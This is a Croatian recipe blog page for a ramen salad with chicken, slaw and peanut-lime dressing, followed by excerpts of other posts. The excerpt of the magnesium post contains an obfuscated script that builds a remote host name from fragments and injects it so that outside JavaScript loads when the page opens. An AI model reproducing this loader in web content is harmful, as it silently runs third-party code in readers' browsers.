RAMEN SALATA S PILETINOM I PRELJEVOM OD KIKIRIKIJA 🥗





Ramen salata s piletinom i preljevom od kikirikija 




Nisu sve salate iste: ova donosi kombinaciju kremastih, orašastih i kiselkastih okusa koja pruža osjećaj prave “comfort” hrane. Riječ je o receptu koji spaja teksturu hrskavog povrća i mekanih ramen rezanaca s bogatim dresingom od maslaca od kikirikija, limete i sojinog umaka. Svaki zalogaj nudi kontrast između rezanaca, hrskave kupus salate i mekih zrna edamamea, dok svježa menta i bosiljak podižu cijelo jelo aromatičnom svježinom.




Ramen salata s piletinom i preljevom od kikirikija 


Sastojci:


  • 1 pakiranje instant ramen rezanaca (oko 130 g), bez vrećice s začinima


  • 1/3 šalice kremastog maslaca od kikirikija


  • 1/4 šalice svježeg soka od limete


  • 2 žlice sojinog umaka


  • 2 šalice nasjeckane ili narezane pečene piletine


  • 1 pakiranje miješane salate od povrća (slaw mix, oko 4 šalice)


  • 1 šalica očišćenog smrznutog edamamea, odmrznutog


  • 1/3 šalice nasjeckanog neslanog pečenog kikirikija


  • 3 žlice nasjeckanog svježeg začinskog bilja (menta i bosiljak)





Priprema:


Postupak kuhanja rezanaca

U velikom loncu potrebno je zakuhati vodu, dodati ramen rezance i kuhati prema uputama na pakiranju dok ne postanu mekani, otprilike 4 minute.

Nakon kuhanja, rezanci se cijede i ispiru pod hladnom vodom dok se potpuno ne ohlade. Kako bi se lakše miješali s ostalim sastojcima, preporučuje se rezance grubo prerezati kuhinjskim škarama nekoliko puta kako bi se skratile duge niti.




Priprema dresinga i spajanje salate

U velikoj zdjeli miješaju se maslac od kikirikija, sok od limete, sojin umak i jedna žlica vode  dok se ne dobije glatka smjesa. Po potrebi se dodaje još malo vode kako bi se postigla željena gustoća preljeva.

U pripremljeni dresing dodaju se ohlađeni rezanci, piletina, mješavina povrća, edamame i kikiriki te se sve dobro promiješa. Na samom kraju umiješaju se svježe začinsko bilje i jelo se poslužuje uz dodatni kikiriki za ukras.




Savjeti za čuvanje i pripremu unaprijed

Dresing se može pripremiti do dva dana unaprijed i čuvati u hermetički zatvorenoj posudi u hladnjaku, dok se miješanje s ostalim sastojcima vrši neposredno prije posluživanja. Ostaci salate mogu se čuvati u hladnjaku do dva dana.

Prije ponovnog posluživanja, preporučuje se dodati malo soka od limete ili vode kako bi se dresing, koji se stisnuo na hladnoći, ponovno opustio.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više